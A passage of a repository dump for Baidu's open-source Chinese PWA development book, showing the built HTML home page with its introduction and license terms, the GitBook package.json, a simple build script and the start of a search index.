Worker</li>\n<li>&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;</li>\n<li>&#x7528;&#x6237;&#x7559;&#x5B58;</li>\n<li>&#x5B89;&#x5168;</li>\n<li>&#x6027;&#x80FD;</li>\n</ul>\n<h2 id=\"&#x5173;&#x4E8E;&#x4F5C;&#x8005;\"><a name=\"&#x5173;&#x4E8E;&#x4F5C;&#x8005;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5173;&#x4E8E;&#x4F5C;&#x8005;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5173;&#x4E8E;&#x4F5C;&#x8005;\" class=\"plugin-anchor\" href=\"#&#x5173;&#x4E8E;&#x4F5C;&#x8005;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5173;&#x4E8E;&#x4F5C;&#x8005;</h2>\n<p>&#x4F5C;&#x8005;&#xFF1A;<strong>&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</strong></p>\n<p>&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;&#x662F; 2017 &#x5E74;&#x7EC4;&#x5EFA;&#xFF0C;&#x65E8;&#x5728;&#x5E2E;&#x52A9;&#x56FD;&#x5185; Web &#x7684;&#x53D1;&#x5C55;&#xFF0C;&#x63D0;&#x5347; Web &#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x76EE;&#x524D;&#x5DF2;&#x6709;&#x591A;&#x4E2A;&#x4EA7;&#x54C1;&#xFF0C;&#x5982; <a href=\"https://lavas.baidu.com\" target=\"_blank\">LAVAS</a> &#x548C; <a href=\"https://www.mipengine.org\" target=\"_blank\">MIP</a>&#x3002;</p>\n<h2 id=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\"><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\" class=\"plugin-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;</h2>\n<p>&#x6211;&#x4EEC;&#x56E2;&#x961F;&#x4ECE;&#x6210;&#x7ACB;&#x5230;&#x73B0;&#x5728;&#xFF0C;&#x5DF2;&#x6709; 2 &#x5E74;&#xFF0C;&#x63A8;&#x51FA; LAVAS &#x548C; MIP &#x4E5F;&#x662F;&#x6211;&#x4EEC;&#x7684;&#x5C1D;&#x8BD5;&#x4E4B;&#x4E00;&#xFF0C;&#x79EF;&#x6781;&#x53C2;&#x4E0E; Web &#x65B9;&#x5411;&#x4E0A;&#x7684;&#x6280;&#x672F;&#x8BA8;&#x8BBA;&#xFF0C;&#x4E5F;&#x7ECF;&#x5E38;&#x53BB;&#x56FD;&#x5185;&#x7684;&#x6280;&#x672F;&#x4F1A;&#x8BAE;&#x4E0A;&#x8FDB;&#x884C;&#x5206;&#x4EAB;&#xFF0C;&#x867D;&#x4E0D;&#x80FD;&#x8BF4;&#x771F;&#x7ED9;&#x56FD;&#x5185; Web &#x53D1;&#x5C55;&#x5E26;&#x6765;&#x4E86;&#x591A;&#x5927;&#x7684;&#x8D21;&#x732E;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x81F3;&#x5C11;&#x505A;&#x4E86;&#x5F88;&#x591A;&#x5C1D;&#x8BD5;&#x3002;</p>\n<p>&#x56E0;&#x6B64;&#xFF0C;&#x6211;&#x4EEC;&#x5E0C;&#x671B;&#x5C06;&#x6211;&#x4EEC;&#x8FC7;&#x53BB;&#x4E24;&#x5E74;&#x79EF;&#x7D2F;&#x7684; PWA &#x65B9;&#x9762;&#x7684;&#x7ECF;&#x9A8C;&#x5199;&#x4E0B;&#x6765;&#xFF0C;&#x4E0D;&#x4EC5;&#x5E2E;&#x6211;&#x4EEC;&#x81EA;&#x5DF1;&#x68B3;&#x7406;&#x77E5;&#x8BC6;&#x7ED3;&#x6784;&#xFF0C;&#x4E5F;&#x5E0C;&#x671B;&#x8FD9;&#x672C;&#x4E66;&#x80FD;&#x5E2E;&#x52A9;&#x5230;&#x6B63;&#x5728;&#x8BFB;&#x7684;&#x60A8;&#x3002;</p>\n<h2 id=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\"><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\" class=\"plugin-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;</h2>\n<p>PWA &#x5B83;&#x8FD8;&#x5728;&#x4E0D;&#x65AD;&#x8FDB;&#x6B65;&#xFF0C;&#x672C;&#x4E66;&#x7684;&#x5185;&#x5BB9;&#x968F;&#x65F6;&#x9700;&#x8981;&#x66F4;&#x65B0;&#xFF0C;&#x7535;&#x5B50;&#x4E66;&#x5BF9;&#x4E8E;&#x6211;&#x4EEC;&#x6765;&#x8BF4;&#xFF0C;&#x8FED;&#x4EE3;&#x8D77;&#x6765;&#x5F88;&#x65B9;&#x4FBF;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#x4E5F;&#x6B22;&#x8FCE;&#x5BF9; Web &#x548C; PWA &#x6709;&#x6D53;&#x539A;&#x5174;&#x8DA3;&#x7684;&#x8BFB;&#x8005;&#x52A0;&#x5165;&#x6211;&#x4EEC;&#xFF0C;&#x4E00;&#x8D77;&#x6765;&#x7EF4;&#x62A4;&#x8FD9;&#x672C;&#x4E66;&#xFF0C;&#x6211;&#x4EEC;&#x7531;&#x8877;&#x611F;&#x8C22;&#x3002;</p>\n<h2 id=\"&#x7248;&#x6743;\"><a name=\"&#x7248;&#x6743;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7248;&#x6743;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7248;&#x6743;\" class=\"plugin-anchor\" href=\"#&#x7248;&#x6743;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7248;&#x6743;</h2>\n<p>&#x672C;&#x4E66;&#x4E3A;&#x5F00;&#x6E90;&#x4E66;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x81EA;&#x7531;&#x5730;&#x5206;&#x4EAB;&#x3002;&#x53EA;&#x8981;&#x9075;&#x5B88;&#x60DF;&#x4E0B;&#x5217;&#x6761;&#x4EF6;&#xFF1A;</p>\n<ul>\n<li><strong>&#x7F72;&#x540D;</strong> &#x2014; &#x60A8;&#x5FC5;&#x987B;&#x7ED9;&#x51FA;&#x9002;&#x5F53;&#x7684;&#x7F72;&#x540D;&#xFF0C;&#x63D0;&#x4F9B;&#x6307;&#x5411;&#x672C;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;&#x7684;&#x94FE;&#x63A5;&#xFF0C;&#x540C;&#x65F6;&#x6807;&#x660E;&#x662F;&#x5426;&#xFF08;&#x5BF9;&#x539F;&#x59CB;&#x4F5C;&#x54C1;&#xFF09;&#x4F5C;&#x4E86;&#x4FEE;&#x6539;&#x3002;&#x60A8;&#x53EF;&#x4EE5;&#x7528;&#x4EFB;&#x4F55;&#x5408;&#x7406;&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x7F72;&#x540D;&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x5F97;&#x4EE5;&#x4EFB;&#x4F55;&#x65B9;&#x5F0F;&#x6697;&#x793A;&#x8BB8;&#x53EF;&#x4EBA;&#x4E3A;&#x60A8;&#x6216;&#x60A8;&#x7684;&#x4F7F;&#x7528;&#x80CC;&#x4E66;&#x3002;</li>\n<li><strong>&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528;</strong> &#x2014; &#x60A8;&#x4E0D;&#x5F97;&#x5C06;&#x672C;&#x4F5C;&#x54C1;&#x7528;&#x4E8E;&#x5546;&#x4E1A;&#x76EE;&#x7684;&#x3002;</li>\n<li><strong>&#x7981;&#x6B62;&#x6F14;&#x7ECE;</strong> &#x2014; &#x5982;&#x60A8;&#x518D;&#x6DF7;&#x5408;&#x3001;&#x8F6C;&#x6362;&#x3001;&#x6216;&#x8005;&#x57FA;&#x4E8E;&#x8BE5;&#x4E66;&#x7684;&#x521B;&#x4F5C;&#xFF0C;&#x60A8;&#x4E0D;&#x53EF;&#x4EE5;&#x5206;&#x53D1;&#x4FEE;&#x6539;&#x4F5C;&#x54C1;&#x3002;</li>\n<li><strong>&#x7981;&#x6B62;&#x9644;&#x52A0;&#x9650;&#x5236;</strong> &#x2014; &#x60A8;&#x4E0D;&#x5F97;&#x4F7F;&#x7528;&#x6CD5;&#x5F8B;&#x672F;&#x8BED;&#x6216;&#x91C7;&#x7528;&#x6280;&#x672F;&#x63AA;&#x65BD;&#x9650;&#x5236;&#x5176;&#x4ED6;&#x4EBA;&#x505A;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;&#x5141;&#x8BB8;&#x7684;&#x4E8B;&#x60C5;&#x3002;</li>\n</ul>\n<p>&#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;</p>\n<h2 id=\"&#x6700;&#x540E;\"><a name=\"&#x6700;&#x540E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6700;&#x540E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6700;&#x540E;\" class=\"plugin-anchor\" href=\"#&#x6700;&#x540E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6700;&#x540E;</h2>\n<p>&#x672C;&#x4E66;&#x8FD8;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x5B58;&#x5728;&#x4E00;&#x5B9A;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x8BF7;&#x60A8;&#x5728;&#x5206;&#x4EAB;&#x7684;&#x8FC7;&#x7A0B;&#x4E00;&#x5B9A;&#x8981;&#x6CE8;&#x660E;&#x6765;&#x6E90;&#xFF0C;&#x5E2E;&#x52A9;&#x6240;&#x6709;&#x8BFB;&#x8005;&#x6EAF;&#x6E90;&#xFF0C;&#x8BA9;&#x4ED6;&#x4EEC;&#x80FD;&#x591F;&#x83B7;&#x5F97;&#x6700;&#x65B0;&#x7684;&#x4FEE;&#x6539;&#x5185;&#x5BB9;&#x7248;&#x672C;&#x3002;&#x5982;&#x679C;&#x60A8;&#x5728;&#x9605;&#x8BFB;&#x7684;&#x8FC7;&#x7A0B;&#x53D1;&#x73B0;&#x4E86;&#x4E66;&#x4E2D;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6B22;&#x8FCE;&#x63D0;&#x4EA4; <a href=\"https://github.com/lavas-project/pwa-book/issues\" target=\"_blank\">Issue</a> &#x53CD;&#x9988;&#x7ED9;&#x6211;&#x4EEC;&#xFF0C;&#x6216;&#x8005;&#x76F4;&#x63A5;&#x53D1;&#x9001; <a href=\"https://github.com/lavas-project/pwa-book/pulls\" target=\"_blank\">Pull Request</a> &#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x4FEE;&#x6B63;&#xFF0C;&#x611F;&#x8C22;&#x60A8;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x652F;&#x6301;&#x548C;&#x8D21;&#x732E;&#xFF01;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                \n                <a href=\"chapter01.html\" class=\"navigation navigation-next navigation-unique\" aria-label=\"Next page: 第1章 PWA 介绍\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"HOME\",\"level\":\"1.1\",\"depth\":1,\"next\":{\"title\":\"第1章 PWA 介绍\",\"level\":\"1.2\",\"depth\":1,\"path\":\"chapter01.md\",\"ref\":\"chapter01.md\",\"articles\":[{\"title\":\"1.1 为什么会出现 PWA\",\"level\":\"1.2.1\",\"depth\":2,\"path\":\"chapter01/1-how-was-pwa-born.md\",\"ref\":\"chapter01/1-how-was-pwa-born.md\",\"articles\":[]},{\"title\":\"1.2 什么是 PWA\",\"level\":\"1.2.2\",\"depth\":2,\"path\":\"chapter01/2-what-is-pwa.md\",\"ref\":\"chapter01/2-what-is-pwa.md\",\"articles\":[]},{\"title\":\"1.3 PWA 的核心技术\",\"level\":\"1.2.3\",\"depth\":2,\"path\":\"chapter01/3-what-are-key-techs.md\",\"ref\":\"chapter01/3-what-are-key-techs.md\",\"articles\":[]},{\"title\":\"1.4 PWA 的发展\",\"level\":\"1.2.4\",\"depth\":2,\"path\":\"chapter01/4-how-is-pwa-going.md\",\"ref\":\"chapter01/4-how-is-pwa-going.md\",\"articles\":[]},{\"title\":\"1.5 PWA 的未来\",\"level\":\"1.2.5\",\"depth\":2,\"path\":\"chapter01/5-the-future-of-pwa.md\",\"ref\":\"chapter01/5-the-future-of-pwa.md\",\"articles\":[]},{\"title\":\"1.6 你的第一个 PWA\",\"level\":\"1.2.6\",\"depth\":2,\"path\":\"chapter01/6-your-first-pwa.md\",\"ref\":\"chapter01/6-your-first-pwa.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"README.md\",\"mtime\":\"2019-06-19T10:37:41.871Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/package.json",
    "content": "{\n  \"name\": \"pwa-book\",\n  \"version\": \"0.0.1\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"dev\": \"gitbook install && gitbook serve\",\n    \"build\": \"gitbook install && gitbook build && sh scripts/build.sh\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/lavas-project/pwa-book\"\n  },\n  \"author\": \"lavas<lavas@baidu.com>\",\n  \"license\": \"GPL\",\n  \"dependencies\": {\n    \"gitbook-cli\": \"^2.3.2\",\n    \"gitbook-plugin-3-ba\": \"^0.9.0\",\n    \"gitbook-plugin-ace\": \"^0.3.2\",\n    \"gitbook-plugin-advanced-emoji\": \"^0.2.2\",\n    \"gitbook-plugin-anchor-navigation-ex\": \"^1.0.14\",\n    \"gitbook-plugin-anchors\": \"^0.7.1\",\n    \"gitbook-plugin-chart\": \"^0.2.2\",\n    \"gitbook-plugin-disqus\": \"^0.1.0\",\n    \"gitbook-plugin-edit-link\": \"^2.0.2\",\n    \"gitbook-plugin-emphasize\": \"^1.1.0\",\n    \"gitbook-plugin-expandable-chapters-small\": \"^0.1.7\",\n    \"gitbook-plugin-favicon\": \"0.0.2\",\n    \"gitbook-plugin-github\": \"^2.0.0\",\n    \"gitbook-plugin-include-codeblock\": \"^3.2.2\",\n    \"gitbook-plugin-local-video\": \"^1.0.1\",\n    \"gitbook-plugin-page-footer-ex\": \"^0.1.2\",\n    \"gitbook-plugin-prism\": \"^2.4.0\",\n    \"gitbook-plugin-prism-themes\": \"0.0.2\",\n    \"gitbook-plugin-search-plus\": \"^1.0.3\",\n    \"gitbook-plugin-sectionx\": \"^3.1.0\",\n    \"gitbook-plugin-sharing-plus\": \"0.0.2\",\n    \"gitbook-plugin-simple-page-toc\": \"^0.1.2\",\n    \"gitbook-plugin-splitter\": \"0.0.8\",\n    \"gitbook-plugin-todo\": \"^0.1.3\"\n  }\n}\n"
  },
  {
    "path": "docs/scripts/build.sh",
    "content": "export PATH=$NODEJS_BIN_LATEST:$PATH\n\nrm -rf ./docs/*\ncp -rf ./_book/* ./docs\nrm -rf ./docs/docs\n\necho \"build success!!!\"\n"
  },
  {
    "path": "docs/search_plus_index.json",
    "content": "{\"./\":{\"url\":\"./\",\"title\":\"HOME\",\"keywords\":\"\",\"body\":\" 《PWA 应用实战》 欢迎走进 PWA 世界！！ 简介 本书围绕着 PWA 以及周边技术，从概念入手，以实战的方式给读者讲述如何编写 PWA，以及如何编写体验最好、速度最快、安全的 PWA 站点。 本书主要从以下几个部分讲述 PWA。 设计与体验 基础技术 Service Worker 离线与缓存 用户留存 安全 性能 关于作者 作者：百度 Web 生态团队 百度 Web 生态团队是 2017 年组建，旨在帮助国内 Web 的发展，提升 Web 的用户体验，目前已有多个产品，如 LAVAS 和 MIP。 为什么写这本书 我们团队从成立到现在，已有 2 年，推出 LAVAS 和 MIP 也是我们的尝试之一，积极参与 Web 方向上的技术讨论，也经常去国内的技术会议上进行分享，虽不能说真给国内 Web 发展带来了多大的贡献，但我们至少做了很多尝试。 因此，我们希望将我们过去两年积累的 PWA 方面的经验写下来，不仅帮我们自己梳理知识结构，也希望这本书能帮助到正在读的您。 为什么开源 PWA 它还在不断进步，本书的内容随时需要更新，电子书对于我们来说，迭代起来很方便。 同时也欢迎对 Web 和 PWA 有浓厚兴趣的读者加入我们，一起来维护这本书，我们由衷感谢。 版权 本书为开源书，读者可以自由地分享。只要遵守惟下列条件： 署名 — 您必须给出适当的署名，提供指向本许可协议的链接，同时标明是否（对原始作品）作了修改。您可以用任何合理的方式来署名，但是不得以任何方式暗示许可人为您或您的使用背书。 非商业性使用 — 您不得将本作品用于商业目的。 禁止演绎 — 如您再混合、转换、或者基于该书的创作，您不可以分发修改作品。 禁止附加限制 — 您不得使用法律术语或采用技术措施限制其他人做许可协议允许的事情。 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可 最后 本书还在勘误阶段，可能会存在一定的问题，请您在分享的过程一定要注明来源，帮助所有读者溯源，让他们能够获得最新的修改内容版本。如果您在阅读的过程发现了书中的问题，欢迎提交 Issue 反馈给我们，或者直接发送 Pull Request 帮助我们修正，感谢您对本书的支持和贡献！ Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01.html\":{\"url\":\"chapter01.html\",\"title\":\"第1章 PWA 介绍\",\"keywords\":\"\",\"body\":\"什么是 PWA 随着移动互联网的发展，Native App 开始兴起，那么 Web App 落伍淘汰了吗？很显然答案是没有，它依然生机勃勃，和 Native App 互相依存，还衍生出很多 Native App 和 Web App 相结合的技术，比如 Hybrid App，React Native 等，Angular/ReactJS/Vue 也都是在这期间才发展起来的优秀的框架，可见，Web App 仍在不断进化，PWA（Progressive Web Apps）就是在这背景下诞生的。 本书第一章会着重介绍 PWA 的基础概念，让读者对 PWA 有个大致的了解，后续章节会再深入讲解。本章会探讨为什么会出现 PWA，PWA 的出现解决了哪些问题，然后再看 PWA 的主要技术，并且会结合实际的例子让读者能够创建一个简单的 PWA。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/1-how-was-pwa-born.html\":{\"url\":\"chapter01/1-how-was-pwa-born.html\",\"title\":\"1.1 为什么会出现 PWA\",\"keywords\":\"\",\"body\":\"为什么会出现 PWA PWA 是 Progressive Web Apps 的缩写，翻译为渐进式网络应用。早在 2014 年， W3C 就公布过 Service Worker 的相关草案，但是其在生产环境被 Chrome 支持是在 2015 年。因此，如果我们把 PWA 的关键技术之一 Service Worker 的出现作为 PWA 的诞生时间，那就应该是 2015 年。在关注 PWA 是什么之前，先来了解一下为什么会出现 